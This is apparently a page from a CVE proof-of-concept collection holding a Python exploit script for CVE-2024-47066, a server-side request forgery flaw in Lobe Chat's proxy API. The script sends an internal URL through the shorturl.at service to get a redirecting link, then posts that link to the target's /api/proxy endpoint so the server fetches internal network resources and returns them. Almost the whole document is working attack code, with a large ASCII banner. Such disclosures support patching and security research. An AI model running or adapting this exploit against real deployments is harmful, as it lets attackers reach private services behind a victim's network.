4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-47066.py PY
import requests
import time
import sys
import re
import rich_click as click

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

banner = r"""                                                                                                                                                 .                                              .=@@@%@@-                                                                     
                            .#%=------=#                                                                     
                          .%*---------@:                                                                     
                         +%----------%-                                                                      
                        #*----------%=                                                                       
                  -+#%@@@@@@%#*=---*#=#%@@@#+                                                                
            .-@@*:..............-%@@+--------@:                                                              
         .#@=.......................:*@*----@=                                                               
       =@=..............................*@+@                                                                 
     +@:..................................=@*%%:                                                             
   .@-......................................%#-%=                                                            
  .@:........................................=%@.                                                            
 .@...........................................=#                                                             
 %-............................................#=                                                            
-%......:.......................:..............:@         ......                                             
*+......-+#%.................@#+:...............#-    .%@@@@@@@@@@@@+   :%@@@@@@@@@@*.   .+%@@@@@@@%*:       
%-..............................................*+    @@@@@@@@@@@@@@@: %@@@@@@@@@@@@@@. %@@@@@@@@@@@@@#      
%:......=*=..................:+*=...............*+    %@@@@@@@@@@@@@@=-@@@@@@@@@@@@@@@.+@@@@@@@@@@@@@@%      
#-.....#  @@................:* .@@..............*=     :=**####@@@@@@=-@@@@.    +@@@@@.*@@@@=:::=%@@@@%      
+*.....+@@@*.....:*@%#-......#@@@=..............%:       ......@@@@@@:=@@@@.    #@@@@@.*@@@%     #@@@@%      
.@.............................................=#     :@@@@@@@@@@@@@@ +@@@@+   .@@@@@@.*@@@@.   .@@@@@%      
 =#............................................@:     @@@@@@@@@@@@@@+ =@@@@@@@@@@@@@@@.*@@@@@@@@@@@@@@%      
  **..........................................%:     .@@@@@@@@@@@@@-  :@@@@@@@@@@@@@@@.=@@@@@@@@@@@@@@%      
   +%.......................................:@:      .@@@@@+            :*#%%@@@@@@@@@  :#@@@@@@@@@@@@%      
    .@-....................................*@        .@@@@@%%%%%%%%%=          :@@@@@#          +@@@@@*      
      =@-................................+@.          @@@@@@@@@@@@@@#          -@@@@@+          +@@@@@=      
        :%%:..........................=@#.            *@@@@@@@@@@@@@*          :@@@@@-          +@@@@@:      
           :@#..................:-+@@+.                .+#@@@@@@@@@%.          .@@@@%.          -@@@@%       
         .%*%-...............**=::..:@+                                                          ....        
        *#.:@.........................-@=%@@%-                                                               
       #+..-@...         ...............##---:@:                                                             
      .%...:@..           .......:.......@:-:.:@.                                                            
       @:...@..            ......@:......%-@:..%-                                                            
       .@*-:+%.            .......%+...:%@%=---@:                                                            
          ...#*.           ........@*#*-...:--**                                                             
              +@:.        ......-@@----:....-%*                                                              
             .@:*@+..............:@----:..:#@.                                                               
             =*....=#@@%%%:.......@=---=%@=                                                                  
             *+.......:%.@:.......#@#=:.               Author: EQST(Experts, Qualified Security Team)
             .@:......*+ #+......:@.                   Github: https://github.com/EQSTLab
               -%@@@@#:   -#@@@@#-                                                                                                                 
               
Analysis base : https://github.com/advisories/GHSA-3fc8-2r3f-8wrg

=============================================================================================================    

CVE-2024-47066 : Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.

============================================================================================================= 
    """

class LobeChatExploit:

    def __init__(self, vuln_url: str, internal_url:str):
        self.vuln_url = vuln_url
        self.internal_url = internal_url
        self.shorten_url = None

    def greeting() -> None:
        print(banner)

    def spinner(duration=10, interval=0.1) -> None:
        spinner_chars = ['|', '/', '-', '\\']
        end_time = time.time() + duration
        while time.time() < end_time:
            for char in spinner_chars:
                sys.stdout.write(f'\r[{char}] Exploit loading, please wait...')
                sys.stdout.flush()
                time.sleep(interval)
        print("")

    def getShrtUrl(self) -> None:
        # Get shorten URL - shorturl.at
        urlshrt_api = "https://www.shorturl.at/shortener.php"
        internal_url = self.internal_url
        headers = {
            'Host': 'www.shorturl.at',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        # To bypass short URL restriction, We can use the Fragment(#)
        data = {
            'u': internal_url + "?foo=" + str(int(time.time()))
        }
        response = requests.post(urlshrt_api, headers=headers, data=data)
        pattern = r'value="(https?://[^\s"]+)"'
        match = re.search(pattern, response.text)
        if match:
            shorten_url = match.group(1)
            print(f"[+] Shorten URL: {shorten_url}")
            self.shorten_url = shorten_url
        else:
            print("[-] Failed to get the shorten URL!")
            self.shorten_url = input("[+] Input shorten URL(manual): ")
        
    def sendRequest(self) -> None:
        print('[+] Trying SSRF Attack ...')
        vuln_url = self.vuln_url
        vuln_api = vuln_url + "/api/proxy"
        headers = {
            "Accept-Encoding": "gzip, deflate, br",
            "Referer": "http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=",
            "Content-Type": "text/plain;charset=UTF-8",
            "Origin": "http://0.0.0.0:3210",
            "Connection": "keep-alive",
            "Priority": "u=0",
            "Cookie": "LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined"
        }
        data = self.shorten_url
        response = requests.post(vuln_api, headers=headers, data=data)
        if response.status_code == 200:
            print(f"[+] Done!! \nResponse: {response.text}\n")
        else: 
            print(f"[-] Failed to get response!")
            exit(1)
        
    def exploit(self) -> None:
        self.getShrtUrl()
        self.sendRequest()

# argument parsing with rich_click
@click.command()
@click.option(
    "-v",
    "--vuln_url",
    default="http://localhost:3210",
    help="Specify a URL or domain for vulnerability detection",
)
@click.option(
    "-i",
    "--internal_url",
    default="http://www.internal-service:4000",
    help="Specify a internal URL or domain for Request",
)

def main(vuln_url: str, internal_url: str) -> None:
    LobeChatExploit.greeting()
    LobeChatExploit.spinner(duration=1)
    LobeExploit = LobeChatExploit(vuln_url, internal_url)
    LobeExploit.exploit()

if __name__ == "__main__":
    main()